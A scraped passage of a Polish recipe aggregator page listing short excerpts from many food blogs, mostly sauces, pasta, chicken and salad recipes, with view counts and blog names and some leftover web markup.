wszystkie smaki będą się z sobą świetnie komponować. Marynata sprawi, że łosoś będzie delikatny w smaku i soczysty. Spróbujcie… Składniki na marynatę sok z 1/4 cytryny 3 łyżki sosu sojowego 1 łyżka syropu klonowego Składniki ok. 300g filetu z łososia pęczek szczypiorku 3 cm imbiru 2 ząbki czosnku olej sezamowy 150g makaronu ryżowego 1/2 papryczki chilli Makaron ryżowy

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z selerem, jajkami i czerwoną fasolą 520

Wczoraj pokazałem Wam błyskawiczny przepis na sałatkę z kurczakiem i selerem konserwowym , dziś będzie przepis na jeszcze szybszą sałatkę. Sałatka z selerem, jajkami i czerwoną fasolą

Kulinarnyblog.pl - wiesz jak gotować!
Sos czosnkowo - ziołowy 154

Składniki: - 2 łyżki majonezu - łyżka śmietany - przyprawy: sól, czosnek granulowany, oregano, tymianek Przygotowanie: Składniki wymieszać, doprawić (zioła rozetrzeć w dłoni przed wsypaniem do sosu), odstawić do lodówki na minimum godzinę

Kulinarne blogowanie
Penne Z Sosem Pomidorowo Pieczarkowym 210

przyprawę do kuchni włoskiej, przesmażamy do całkowitego rozpadnięcia się pomidorów, na koniec wlewamy śmietankę i całość odparowujemy do zgęstnienia. Ewentualnie jeszcze doprawiamy i gotowe. Smacznego ! Cały proces tworzenia sosu od przesmażenia cebulki trwa coś około 30 minut

Gotowanie...to proste !
Warzywna zupa z jarmużem i śliwkową polędwiczką 162

Na ogół nie przepadam za chaosem, ale w kuchni i w potrawach czasem lubię pomieszanie z poplątaniem. Zapożyczam koncepcję dania z tej czy innej kuchni i

Pichceniomania
Sos wielkanocny 160

Sos zrobiłam parę dobrych dni temu, ale jakoś nie miałam weny do publikacji (tak, nadal mam fazę "niechcemisię", nie bijcie). Jedliśmy go razem z gotowanym schabem, pasował idealnie. Myślę, że spokojnie można go zrobić z innymi dodatkami. Kombinujcie. Ja będę. Składniki: 5 jajek 3 łyżki gęstego jogurtu naturalnego 1 czubata łyżka majonezu 1 łyżeczka świeżo startego chrzanu mały pęczek szczypiorku

Kardamonovy
KURCZAK ZAPIEKANY W MLEKU KOKOSOWYM Z LIMONKĄ 253

Kurczak zapiekany w sosie kokosowym w marynacie z czosnku i... Artykuł KURCZAK ZAPIEKANY W MLEKU KOKOSOWYM Z LIMONKĄ pochodzi z serwisu CookMagazine

COOKMAGAZINE
Domowy chrzan – jak zrobić chrzan w domu 202

kleską chrzanową. To namaczanie korzeni chrzanu ma jeszcze jedną zaletę. Ułatwi nam ścieranie, nie będziemy aż tak łzawić podczas ścierania. A taki domowy chrzan, jest świetną bazą do licznych sosów – chrzanowego, chrzanowo-jabłkowego itp. {"@context":"http:\/\/schema.org","@type":"Recipe","image":"http:\/\/mieszamwgarnku.pl\/wp-content\/uploads\/2018\/03\/chrzan.jpg","recipeIngredient":["3 korzenie chrzanu\r","szczypta soli\r","ok. 1 \u0142y\u017ceczki

Mieszam w Garnku
Sos do wielu dań 220

Pewnie zastanawia Was dlaczego taka nazwa tego sosu ? A dlatego, że można użyć go do kilku dań. Może to być makaron, ryż albo lasagne lub cannelloni. Oczywiście także sprawdzi się w zapiekankach. Tak więc od koloru do wyboru. Jak pewnie zauważyliście w przygotowaniu dań pomagają mi Kuchnie Świata , polecam Wam bo mają super produkty. Koniecznie zajrzyjcie i zróbcie zakupy. Rozwiń

Ewa w kuchni
Obiad za 10 zł - Makaron W Sosie Szpinakowo Serowo Pieczarkowym 231

sporych pieczarek 1-2 ząbki czosnku 1/3 główki cebuli sól, pieprz do smaku oliwa/olej do smażenia ewentualnie oliwa smakowa ja użyłam takiej z dodatkiem chili aby sos był lekko ostry makaron np. świderki (ilość na trzy osoby) 1. Na oliwie/oleju przesmażam cebule pokrojoną w kosteczkę. W trakcie przesmażania dodaje przeciśnięty ząbek czosnku. Przesmażam uważając aby nie spalić czosnku. 2. Makaron

Gotowanie...to proste !
Polyndwiczki we marchwiowyj zōłzie (Polędwiczki w marchewkowym sosie) 166

przypieczcie 22 każdej 23 zalejcie 24 dajcie 25 pogotuje 26 gdyby 27 rzadka 28 gotowa 29 doprawić 30 kluski 31 makaron Artykuł Polyndwiczki we marchwiowyj zōłzie (Polędwiczki w marchewkowym sosie) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Steki ze strusia marynowane w czosnku z sosem jogurtowym i karmelizowaną marchewką 233

obiad będzie znakomity. Zamarynowałam steki w czosnku i do niego podałam karmelizowaną kolorową marchewkę. Obiad wyszedł znakomity, polecam także i Wam. Steki ze strusia marynowane w czosnku z sosem jogurtowym i karmelizowaną marchewką. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Przepyszne muffiny kokosowe proste w wykonaniu 189

Przepyszne muffiny kokosowe proste w wykonaniu Przepis na te muffiny wpadł mi do ręki, w momencie gdy w lodówce były samotne białka. Przepyszne muffiny kokosowe przepis

Kuchnia na wzgórzu
Kryjmzupa ze wodorostym (Zupa krem z wodorostami) 210

zupōm i smacznego 1 ô- samogłoska w wymowie między o i u 2 głowie 3 przepis 4 był 5 dość 6 prosty 7 wystarczył 8 duże 9 pieniądze 10 sosu 11 szczypta 12 pół 13 wrzućcie 14 kawałki 15 będzie 16 miękki 17 doprawcie 18 paski Artykuł Kryjmzupa ze wodorostym (Zupa krem z wodorostami) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Jak zachować świeżość sałaty 213

Już niejednokrotnie mieliśmy sytuację, że kupiliśmy świeżą, chrupiącą sałatę i wykorzystaliśmy tylko kilkanaście liści, a reszta po kilku dniach dosłownie zwiędła i zgniła. Wszystko to przez

Kulinarnyblog.pl - wiesz jak gotować!
Zapiekanka makaronowa z brokułami i kurczakiem 3631

Pyszny makaron zapieczony z brokułami i kurczakiem pod kremowym sosem z ciągnącą się mozzarellą to idealne rozwiązanie na obiad lub uroczystą kolację. Zapiekanka z pewnością zachwyci swoim wyglądem i smakiem zarówno domowników jak i gości. Przygotowanie jest dość czasochłonne, ale efekt końcowy zachwycający. Polecam, nawet tym, którzy tak jak ja nie przepadają za brokułami. W tym wydaniu są naprawdę smaczne

Czekoladowa muffinka
Orzechowo-jogurtowy dip do owoców – kremowy i aksamitny 324

żadnych dodatków jest ciężkie i zbite – taki zabieg pozwala mu się napowietrzyć i rozrzedzić. Masło staje się delikatne, lżejsze – równomiernie rozprowadza się w lekkim jogurcie. Porcje gęstego, dobrze ubitego sosu rozkładamy między dwie miseczki. Posypujemy odrobiną migdałów, startym na drobnych oczkach tarki orzechem brazylijskim i mielonym cynamonem. Jabłko myjemy, rozcinamy na połowy, wyjmujemy gniazda nasienne. Miąższ jabłka kroimy w plasterki

Karo in the Kitchen
Schab w sosie cebulowym 611

dusić pod przykryciem ok pół godziny aż mięso będzie miękkie a cebula prawie całkiem się rozpadnie. W razie konieczności można dolać jeszcze odrobinę wody, ale nie za dużo gdyż sos ju ż nie będzie taki smaczny

Smakołyki Asi
Ryż z sosem pomidorowym 194

ryż taki jaki lubię, miękki, lekko rozgotowany, pyszny! Danie podaję z ryżem choć każdy makaron i kasza będzie też w sam raz. Dziś u mnie na obiad ryż z sosem pomidorowym, z ananasem i papryką z nutką cynamonu, jest wyśmienity! Składniki: 200 g koncentratu pomidorowego 1 duża cebula 2 ząbki czosnku 7 plasterków ananasa, u mnie z puszki 1 duża

Zasmakuj Kuchni
Makaron z kurczakiem, brokułem i pesto bazyliowym 204

wręcz powalają dobrze skomponowanym smakiem! Dodatek Pesto Bazyliowego dopełnia efekt, ponieważ nadaje zarówno aromatycznego czosnkowo-serowo-bazyliowego smaku, jak i w kontakcie z gorącą potrawą zamienia się w kremowy sos, który otula całość. Do tego dochodzi prostota wykonania. Sukces kulinarny gwarantowany! 2 porcje: * pierś z kurczaka- 200 g * makaron- 200 g * brokuł- 1 mniejsza główka *  pesto z bazylii

Kraina Miodem Płynąca
Zrazy z czerwoną fasolą 301

Bardzo smaczne danie, do przygotowania w szybki sposób. Pyszne zrazy faszerowane czerwoną fasolą, podane z sosem koperkowym i ulubionymi dodatkami to pomysł, nie tylko, na codzienny obiad. Składniki 4 plastry schabu 4 plastry dowolnej wędliny (polędwicy, szynki) 1 mała puszka czerwonej fasoli Bounduelle sól pieprz ok. 4 łyżki mąki 1 łyżka śmietany 2 ziela angielskie 1 liść laurowy koperek olej

Fiołkowa Kuchnia Małgorzaty
Zapiekanka wiejska 235

Zapiekanka wiejska Mięso mielone z warzywami w sosie pomidorowym przykryte kołderką z ziemniaczanego puree – to musi być pyszne! W sumie jest to bardzo łatwe oraz szybkie danie i spokojnie można do niego wykorzystać ugotowane ziemniaki z poprzedniego dnia. Polecam! Składniki: 0,5 kg mięsa mielonego – wieprzowego 1 cebula 1-2 ząbki czosnku 1 papryka (użyłam pół żółtej

Blog z Apetytem
Dlaczego lubię domowe pesto 178

potrzebuję. Jest to danie pełne smaku, aromatu, a przy tym bardzo pożywne. Orzechy, parmezan i oliwa sycą na długo! Pesto to po prostu świetna alternatywa do serowych i pomidorowych sosów. Ten prosty przepis to przepis dla pracujących, zabieganych i lubiących domową kuchnię. Jak domowa kuchnia to oczywiście mowa o domowym pesto. Zmiksowanie pesto zajmuje zaledwie kilka minut. Warto zrobić większą

codojedzenia
Śmietankowy makaron z suszonymi pomidorami i szpinakiem 169

lepszego niż pyszny i ciepły posiłek po powrocie do domu ze szkoły czy pracy. I naprawdę nie trzeba się przy tym napracować. Dla 2 osób: 2 szkl makaronu świderki Sos: 1/2 słoiczka pomidorów suszonych 1-2 ząbki czosnku 3 spore garści świeżego szpinaku 250 ml śmietanki 30% 150 g startego sera żółtego sól świeżo zmielony pieprz Makaron ugotować al dente

Smakołyki Asi
Przepis na Aromatycznoł zołza do nudli (Aromatyczny sos do makaronu) 236

lekko 26 przypieczone 27 wlejcie 28 której 29 później 30 wcześniej 31 wydała 32 rzadka 33 rozpuśćcie 34 doprawienie do smaku 35 górze Artykuł Arōmatycznoł zōłza do nudli (Aromatyczny sos do makaronu) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Grzyby leśne w sosie śmietanowym 156

Grzyby w sosie śmietanowym zawsze się sprawdzają. Tym razem dodaliśmy warzywa i kiszone ogórki. Sprawdziło się. Składniki półtora kg leśnych grzybów 1 marchewka 4 średnie cebule 2 kiszone ogórki 1 łyżka smalcu 200 ml śmietany 18% sól pieprz mielona papryka Przygotowanie Grzyby obgotowałem w lekko osolonej wodzie, odcedziłem, przełożyłem do garnka, dodałem smalec oraz pokrojona marchewkę i posiekaną cebulę. Zalałem

R'n'G Kitchen
Pasta z tuńczyka 152

wiejski lub majonez. Pasta z tuńczyka poleca się na śniadanie, na kanapki, z dodatkiem koperku i warzyw. Wspaniała, kremowa, domowa. Składniki: 2 puszki tuńczyka w kawałkach w oleju lub sosie własnym, u mnie w oleju 250g twarogu półtłustego 2 łyżki serka wiejskiego, majonezu lub jogurtu naturalnego 2 suszone pomidory z zalewy w oleju posiekane sól, pieprz do smaku opcjonalnie: ząbek

Zasmakuj Kuchni
Sałatka z ryżem 282

kukurydzę *** *** Do miski dodajemy też jajka i ryż. Wszystko razem mieszamy *** *** W osobnej miseczce mieszamy majonez z jogurtem, musztardą i przeciśniętym czosnkiem. Doprawiamy delikatnie solą i pieprzem, mieszamy *** *** Powstały sos przekładamy do sałatki i wszystko razem łączymy *** *** Całość doprawiamy jeszcze do smaku solą oraz pieprzem i dokładnie mieszamy *** *** Sałatkę przed podaniem przechowujemy w lodówce *** *** SMACZNEGO *** POLECAM TAKŻE: NAJLEPSZE PRZEPISY

Blog z Apetytem
Makaron chow mein z kurczakiem i warzywami 227

Bardzo aromatyczne, nieco orientalne danie obiadowe. Makaron z kurczakiem, papryką, marchewką, dymką i kiełkami. Całość doprawiona sosem sojowym, limonką i kurkumą. Makaron ugotować zgodnie z instrukcją na opakowaniu. Mięso oczyścić

Bullio
Pałki kurczaka w sosie miodowo-musztardowym… 261

wskroś. W szopie, schowkach i innych (często nielogicznych moim zdaniem) miejscach panoszą się narzędzia Piotrka; niemal każdą wolną przestrzeń zajmują zabawki, książki,… Czytaj dalej Pałki kurczaka w sosie miodowo-musztardowym

brunetkawkuchni
Szakszuka z kiełbasą podwawelską 256

pochodzi z mgotuje.pl Szakszuka z kiełbasą podwawelską ekstra Szakszuka to znane danie kuchni tunezyjskiej, które oznacza „wielki bałagan”. To ugotowane jajka w lekko ostrym, pomidorowym sosie. Obowiązkową przyprawą w tym daniu jest kumin rzymski. Szakszuka to danie idealne na sycące śniadanie obiad lub kolację na ciepło. Do szakszuki warto dodać kiełbasę

Marta Gotuje
Schab po bałkańsku 422

Schab po bałkańsku Pyszna propozycja obiadowa. Schab w sosie pomidorowym z dodatkiem papryki i pieczarek. Potrawa jest bardzo smaczna i trochę przypomina leczo, jednak zamiast kiełbasy jest w niej mięso wieprzowe. Danie można podać z ryżem, kaszą lub duszonymi ziemniaczkami. Składniki: 0,5 kg schabu 1 czerwona papryka 1 żółta papryka kilka sztuk pieczarek 2 ogórki kiszone 1 cebula

Blog z Apetytem
Wołowina z warzywami 190

łyżki powideł śliwkowych 1 główka czosnku kilka suszonych grzybów 6 ziarenek ziela angielskiego 3 liście laurowe 2 łyżeczki soli – jedna do przyprawienia mięsa, drugą dodaj do sosu 1/2 łyżeczki świeżo zmielonego pieprzu czarnego 200 ml wody 3 łyżko oleju roślinnego   Mięso z obu stron przypraw solą i pieprzem. Następnie oprósz je mąką pszenną

kuron.com.pl
Kurczak marynowany w keczupie 262

słodka. Mięsko wyszło pyszne :) Składniki: podudzia z kurczaka - 6-10 sztuk 1 szklanka keczupu (250 ml) 2 ząbki czosnku przeciśnięte przez praskę 2 łyżeczki miodu 2 łyżki sosu sojowego 1 łyżka oliwy 1 płaska łyżeczka słodkiej papryki 1/2 płaskiej łyżeczki pieprzu 1/2 płaskiej łyżeczki chili 1 łyżeczka soku z cytryny Wszystkie składniki marynaty przełożyć do miski i dokładnie wymieszać. Następnie

My simple kitchen
Kurczak z warzywami w sosie 264

cebula 2-3 ząbki czosnku 1/2 papryczki chili garść suszonych liści bazylii 1 łyżeczka czerwonej pasty curry 200 ml jogurtu … Czytaj dalej Kurczak z warzywami w sosie

czarrna od kuchni
Jednogarnkowe spaghetti 282

posypać drobno pokrojoną świerzą bazylią lub pietruszką *** *** SMACZNEGO *** POLECAM TAKŻE: SEROWY GARNEK Z KLOPSIKAMI – SZYBKIE DANIE JEDNOGARNKOWE PRZEPIS TUTAJ BOLOŃSKI GARNEK PRZEPIS TUTAJ MIĘSNO-RYŻOWE KLOPSIKI W WARZYWNYM SOSIE PRZEPIS TUTAJ WIEJSKI KOCIOŁEK PRZEPIS TUTAJ Artykuł Jednogarnkowe spaghetti pochodzi z serwisu Blog z apetytem

Blog z Apetytem
Solony karmel 140

Domowy solony karmel to rewelacyjny sos do wszelkiego rodzaju ciast i deserów, a nawet popcornu. Nie przepadam za zwykłym karmelem, bo dla mnie jest za słodki, natomiast ten solony idealnie przypadł mi do gustu i wiem, że następnym razem zrobię go w podwójnej porcji :) Gorący karmel jest płynny, ale po ostygnięciu i pobycie w lodówce zrobi się gęsty i ciągnący

wyzwania kuchenne
Rybka skąpana w sosie koperkowym 179

Ryba w sosie koperkowym to oczywiście nieśmiertelny klasyk. Z całą pewnością jest to świetna alternatywa dla tych, którzy lubią ryby lecz nie przepadają za wersją smażoną, lub nie tolerują procesu smażenia, zapach jest bowiem wszechobecny. Chciałabym Wam zaproponować moją ulubioną wersję tego dania. Sprawdzona i niezawodna. Uwarzcie taką rybkę, do tego ziemniaczki lub ryż, jakieś warzywka i super obiad gotowy

Pichceniomania
SCHAB PIECZONY Z WARZYWAMI W SOSIE Z KETCHUPEM I MAJONEZEM 223

kroję w kostkę. Na mięso wykładam cebulę, następnie pieczarki. Całość smaruję ketchupem i majonezem. Piekę pod przykryciem w 180 stopniach (termoobieg) przez 90 minut - po godzinie wylewam nadmiar powstałego sosu. Na około 10 minut przed końcem pieczenia danie posypuję serem żółtym

JejKuchnia
Przepyszny obiad ze schabu, inaczej 211

Kombinowałam dzisiaj ze schabem. Nie chciałam zrobić tradycyjnego schabowego więc musiałam wytworzyć coś innego. Polecam wyszło pyszne. Schab pokroić w plastry o grubości 1 cm. Na

Kuchnia Pokoleń
Placuszki z batatów 172

delikatnie chrupiącą skórką placuszki z batatów, kaszy jaglanej i szpinaku w towarzystwie aromatycznych przypraw takich jak: kumin (kmin rzymski – nie mylić z kminkiem!), kolendra i kurkuma, polane domowym sosem jogurtowo-czosnkowym. Pyszne i bardzo zdrowe danie na obiad, lunch lub kolację. Do tego sałatka ze szpinaku i pomidorków z dressingiem na bazie octu balsamicznego, syropu z agawy (można zastąpić

Moja Delicja
Gulasz/sos myśliwski 295

jeszcze przez chwilkę smażymy *** *** Całość zalewamy wodą, dodajemy suszone grzybki, ziele angielskie, listek laurowy oraz majeranek. Dusimy pod przykryciem na małym ogniu przez pół godziny *** *** Po tym czasie do sosu dodajemy pokrojone w plasterki ogórki kiszone oraz koncentrat pomidorowy, mieszamy i gotujemy jeszcze około 10 minut, w razie potrzeby podlewamy trochę wodą *** *** Następnie przyprawiamy do smaku solą oraz pieprzem

Blog z Apetytem
KREWETKI W POMIDORACH (keto, LCHF, peleo, optymalne, bez glutenu i laktozy) 239

Dzisiaj pomysł na przepyszny i szybki obiad lub kolację, czyli krewetki w sosie pomidorowym. Przypominam, że krewetki, które mają wprawdzie chude mięso również warto spożywać będąc na LCHF ponieważ prawidłowo zbilansowana dieta ketogeniczna to zróżnicowane menu, w którym obok jajek i tłustych mięs znajdują się także wywary, podroby, dziczyzna, ryby i owoce morza np. skorupiaki. Te ostatnie warto jeść ponieważ

Ola la LCHF
Wigilijne śledzie 456

Wigilijne śledzie Śledzie są jednym z dań które tradycyjnie goszczą na wigilijnym stole. Sposobów na ich przyrządzenie jest bardzo dużo. Dziś polecam przepis na pyszne, aromatyczne śledzie w sosie pomidorowym, duszone z cebulką i marchewką oraz z dodatkiem rodzynek. Są naprawdę pyszne! Składniki: 500g śledzi typu Matias 1 duża marchewka (lub dwie mniejsze) 1 cebula 1 ząbek czosnku 2 łyżki

Blog z Apetytem
Sałatka brokułowa z fetą 341

płatki migdałowe. Prażymy. Odstawiamy do przestudzenia. Fetę kroimy w kostkę. Majonez łączymy z jogurtem. Dodajemy przeciśnięty przez praskę czosnek oraz pieprz, mieszamy. Brokuły mieszamy z fetą oraz czosnkowym sosem. Na koniec posypujemy sałatkę ziarnami słonecznika/płatkami migdałowymi

Smaki Na Talerzu
Hummus – klasyczny przepis – jak zrobić 249

Hummus to klasyczna pasta przygotowywana z ciecierzycy, pasty sezamowej i czosnku. Świetnie będzie się nadawała do pieczywa lub pieczonej tortilli. Jest bardzo szybka w przygotowaniu i

Kulinarnyblog.pl - wiesz jak gotować!
MUS Z ŻURAWINY + JEJ WŁAŚCIWOŚCI 273

Żurawina to zimozielona krzewinka, wydająca wielonasienne jagody, z których najczęściej robi się sosy, musy i galaretki. słodko-kwaśny dodatek do naleśników Czytaj więcej

Kasia Sarna
Sałatka śledziowa z sosem jogurtowo-musztardowo-koperkowym 775

papierowym. Kroimy na mniejsze kawałki. Musztardę łączmy z jogurtem i majonezem. Dodajemy posiekany drobno koperek, przeciśnięty przez praskę czosnek, pieprz oraz odrobinę soli. Wszystkie składniki mieszamy ze sobą, polewamy sosem i ponownie mieszamy. Wstawiamy do lodówki na kilka godzin, by smaki się połączyły, a sałatka dobrze schłodziła (wówczas smakuje najlepiej

Smaki Na Talerzu
Zapiekanka makaronowa z wędzonym kurczakiem, brokułem i groszkiem 253

Prosta w przygotowaniu, a zarazem wykwintna zapiekanka. Dominuje w niej smak kurczaka i sosu beszamelowego. To ciekawe zestawienie smakowe, którego warto spróbować. SKŁADNIKI 2 udka z wędzonego kurczaka 1 brokuł 1 puszka zielonego groszku konserwowego 350 g makaronu pełnoziarnistego kokardki 200 g śmietany 30% 60 g żółtego sera 3 łyżki masła 3 łyżki mąki typ 500 (np. Wrocławskiej

Passions hobbies life
Ryż z kurczakiem w sosie serowym i brokułami 255

blanszujemy lub gotujemy do miękkości (mrożony).  4. Ser żółty ścieramy na tarce o grubych oczkach. 5. Do cebuli i mięsa wrzucamy ryż i zalewamy to mlekiem. Aby zagęścić sos dodajemy mąkę i mieszamy wszystko dokładnie. Na koniec ser żółty, brokuły, mieszamy i przykrywamy na 5 min mieszając co jakiś czas. (adsbygoogle = window.adsbygoogle || []).push({}); Wartości odżywcze 2 porcji: 1280 kcal

Zdrowie i pysznie na talerzu
klasyczne mule w białym winie i pomidorach 470

oliwę, dodajemy posiekaną cebulkę i czosnek. Gdy cebula się zeszkli, wlewamy wino, gdy alkohol odparuje, dodajemy pomidory, przyprawiamy solą i pieprzem. Gotujemy ok 10 minut na średnim ogniu, aby sos się zredukował. Dodajemy małże, przykrywamy patelnię i dusimy ok 6-8 minut, aż wszytskie muszle się otworzą, od czasu do czasu potrząsając patelnią.  Jeżeli któraś z małży się

Cook&Love
Kociołek imprezowy z kurczakiem, pieczarkami i uszakami 233

taki garnek na stole żeby goście częstowali się sami. Ważne żeby było to danie pełne smaku i gorące. Dodatek grzybów zawsze dobrze współgra ze smakiem mięsa , a w gęstym sosie można maczać sobie kawałki bułki lub polać nim ryż, makaron czy ziemniaki. Takie jedzenie jest pyszne! Taką porcją pysznego, rozgrzewającego gulaszu z kurczaka i grzybów nakarmicie przynajmniej kilka osób ROZWIŃ

Smaczna Pyza
Makaron z pomidorkami i pesto bazyliowym 333

Większość przepisów na makarony pochodzi z Włoch, jednak wiele przepisów przeszło spore modyfikacje. Tym razem postanowiliśmy przygotować zdrowy makaron z pomidorkami i pesto bazyliowym. Ten makaron

Kulinarnyblog.pl - wiesz jak gotować!
Sos musztardowy (bezglutenowy) 284

Przedstawiam przepis na pyszny sos musztardowy idealnie pasujący do jajek i oczywiście bezglutenowy. Składniki: 25 g masła 25 g mąki kukurydzianej 1/2 szklanki wody 1/2 szklanki mleka 2 łyżeczki musztardy sól i pieprz do smaku Wykonanie: 1. W garnku roztapiamy masło. 2. Następnie dodajemy mąkę kukurydzianą i mieszamy mieszadłem. 3. Mieszamy do połączenia mąki z masłem. 4. Następnie wlewamy wodę

Kawa z mlekiem
Sos tzatziki 212

Sos tzatziki kojarzy mi się z przyjemnymi spotkaniami przy grillu w rodzinnym gronie. Właśnie w takich okolicznościach najczęściej gościł w mojej rodzinie. Świetnie komponuję się z wypieczonym mięsem z rusztu. Obecnie częściej trafia na stół jako alternatywa mizerii. Mocno koperkowy z wyczuwalną nutą czosnku pasuje do większości dań obiadowych. Składniki (4 porcje) -1 świeży ogórek -1/2 pęczka koperku -naturalny

Zielona Kuchnia
Pasta z tuńczyka i suszonych pomidorów 171

chleb tostowy, który uprzednio upiekłam w tosterze. Nabrały ładnego koloru, przekroiłam je na trójkąty i posmarowałam pastą. Teraz tylko czekać na gości! a przekąska gotowa Składniki: puszka tuńczyka w sosie własnym 6 suszonych pomidorów z zalewy połowa opakowania serka śmietankowego, np. Turek sól, pieprz, słodka i ostra papryka, majeranek ząbek czosnku natka pietruszki / koperek do dekoracji różne warzywa: ogórek, rzodkiewka

Zasmakuj Kuchni
Postny majonez 289

Mój przepis na | Wegański, postny majonez Wegański Postny Majonez zrobiony jest z samych warzyw, bez dodatku tłuszczu, cukru i jajek czy musztardy. Ja tego sosu używam jako dressing do wszystkich postnych sałatek i surówek, do klasycznej sałatki jarzynowej, do kotletów warzywnych. Nawet sałatki, które przygotowuje dla męża są z dodatkiem tego majonezu i przyznam nieskromnie, że mu smakują. Składniki

moj przepis na
SOS CURRY 139

łyżeczki śmietany lub jogurtu naturalnego, 4 łyżeczki majonezu, łyżeczka curry, 1/2 łyżeczki ostrej papryki, sól, pieprz. Przygotowanie: Majonez i śmietanę przekładam do miski, dodaję curry i ostrą paprykę. Mieszam. Sos doprawiam do smaku solą i pieprzem. Odstawiam do lodówki na 1-2 godziny, aby nabrał lepszego smaku

JejKuchnia
Pieczone kulki z jarmużu i gotowanych warzyw 192

przepisem na wegetariański obiad. Smakują pysznie, można wziąć je ze sobą do pracy i są dobrą okazją do wykorzystania gotowanych warzyw, które zostały nam z poprzedniego dnia. Jeśli lubicie sosy, polecam do kulek ostry, turecki sosik. Jeśli nie jecie majonezu, możecie wypróbować majonez z orzechów

dolcevitainmykitchen
Pierś z kurczaka , szybko , prosto i smacznie 190

height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Składniki na 4 osoby : 4 pojedyncze filety z piersi kurczaka ,średniej wielkości marynata : 2 łyżki ciemnego sosu sojowego 2 łyżki miodu ( ja używam z mniszka ;)) płaska łyżeczka soli ( taka naprawdę płytka ) 1 płaska łyżeczka granulowanego czosnku 1 płaska łyżeczka chilli ( można mniej lub zastąpić ostrą papryką , jest łagodniejsza niż

Ogrodnik w podróży
Szpinat sie zakurzoł ;) (Kurczak ze szpinakiem) 182

jōm zjejś ze nudlami 17 , ryżym, karołflami 18 abo i ze jakōm dobrōm żymłōm 19 . Po wiyrchu 20 mogecie 21 jōm na talyrzu postrojić 22 liściami bazylii. Smacznego 1 sosów; ō- samogłoska w wymowie między o i u 2 które 3 ugotować- tu bardziej w znaczeniu przygotować 4 prosta 5 boczek wędzony 6 gałązek 7 najpierw 8 przypieczcie 9 pokrojoną

Chop w kuchni
Kurczak w sosie pomidorowym 195

Prosty pomysł na kurczaka w sosie pomidorowym. Najlepiej smakuje z kopytkami (przepis na domowe kopytka znajdziecie tutaj) 🙂 Mięso z kurczaka oczyścić i pokroić na nieco mniejsze kawałki. Posypać solą

Bullio
SOS ZIOŁOWY 184

łyżeczki tymianku. Przygotowanie: Majonez łączę ze śmietaną, estragonem, tymiankiem i posiekaną natką.  Całość doprawiam do smaku solą i pieprzem. Odstawiam do lodówki na 2-3 godziny, aby sos nabrał lepszego smaku

JejKuchnia
Pieczone udko z indyka 271

wykonania: 2 h (+1 h marynowania) Ilość porcji: 2 duże udka (6 – 8 porcji) Składniki: 2 kg udka z indyka Marynata: 2 łyżki miodu 1 łyżka ostrego sosu chilli 3 łyżki oliwy 2 łyżki soli 1 łyżka pieprzu 1 łyżka ulubionych ziół i przypraw (zioła prowansalskie, majeranek, kminek) Przygotowanie: Wymieszać wszystkie składniki na marynatę. Mięso umyć

KuchniaWeDwoje.pl
Placuszki z batatów 169

delikatnie chrupiącą skórką placuszki z batatów, kaszy jaglanej i szpinaku w towarzystwie aromatycznych przypraw takich jak: kumin (kmin rzymski – nie mylić z kminkiem!), kolendra i kurkuma, polane domowym sosem jogurtowo-czosnkowym. Pyszne i bardzo zdrowe danie na obiad, lunch lub kolację. Do tego sałatka ze szpinaku i pomidorków z dressingiem na bazie octu balsamicznego, syropu z agawy (można zastąpić

Moja Delicja
Jesienna lazania z dynią i pomidorami 268

warto je przytargać do kuchni i zrobić coś pysznego- ciasta, gulasze, jednogarnkowe dania czy makarony. Ta lazania powstała przez to że w moim domu jakimś cudem zabrakło makaronu, a sos dyniowy był już gotowy. Bardzo dobrze się złożyło, bo lazania jest mocno

wegetalerze
Karkówka zapiekana z serem i cebulą. Karczek pod pierzynką. 353

danie praktycznie robi się samo. Polecam np. Karkówkę pod pierzynką z pieczarkami w kieszonkach. W tym przepisie karkówka przykryta jest plastrami sera, cebuli, oraz posmarowana jest mieszanką sosu z majonezu i ketchupu. Tak przygotowana karkówka jest idealna na obiad, oraz wszelkie imprezy, gdy goście przychodzą na określoną godzinę. Mięso z karkówki można przygotować sobie wcześniej i tylko czekać na określoną

Damsko-męskie spojrzenie na kuchnię
Pasztet warzywny 249

dużą keksówkę) puszka gotowanej ciecierzycy 4 marchewki 4 pietruszki woreczek kaszy jaglanej 1 szklanka dyni 1 średniej wielkości cukinia 1 szklanka pestek słonecznika 1 średniej wielkości cebula 5 łyżek sosu sojowego łyżeczka suszonego oregano łyżeczka majeranku pieprz odrobina oliwy do smażenia Warzywny pasztet – przepis Marchewkę, pietruszkę, dynię, cukinię ścieramy na tarce na małych oczkach. Cukinię odsączamy z nadmiaru wody

Kulinarnyblog.pl - wiesz jak gotować!
Sos z suszonych grzybów 2054

Sos z suszonych grzybów jest prosty i smaczny. Można go użyć na wiele sposobów np. do mięs, do placków ziemniaczanych, do pyz i wielu innych smacznych dań. Składniki: 300-400 g suszonych grzybów 1 cebula 30 g masła 30 g mąki pszennej 1/3 litra wywaru z grzybów 2 łyżki śmietanki 30% 1 liść laurowy 2 ziela angielskie 2 ziarenka pieprzu

Gotuj z Mąką
Sos orzechowy 215

Domowy sos orzechowy, idealny do dań azjatyckich. ja podaje go do mięsa, jako element dań z makaronem. Pasuje do szaszłyków. Można go jeść też z warzywami, jak lubicie. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Sos pieczarkowy 170

Jeden z naszych ulubionych sosów. Niestety dość kaloryczny, bo my lubimy go na śmietanie. Ale nie jemy go zbyt często, więc raz na jakiś czas możemy sobie pozwolić na taką bombę. Ostatnio zajadaliśmy się nim w zestawie z makaronem i mielonymi. Fantastyczne połączenie, zwłaszcza gdy makron po ugotowaniu się nieco przesmaży na tłuszczu po mielonych. »»» CZYTAJ DALEJ

Marder&Marder Manufacture
Pesto bucatini z makrelą i pomidorami 236

makaronu. Co prawda ryby sama nie wędziłam, ale zapewniam Was, że pesto jest domowe. Pesto bucatini to trochę grubszy makaron z dziurką w środku. Jest świetny, bo idealnie wsiąka sosy nawet pesto. Pesto zmiksowałam z jarmużu i pietruszki. Świetnie pasuje do wędzonej ryby. To danie często przygotowuję na kolację. Mój S. bardzo je lubi…Ja zresztą też choć

codojedzenia
sos pieczarkowy na mleku sojowym 214

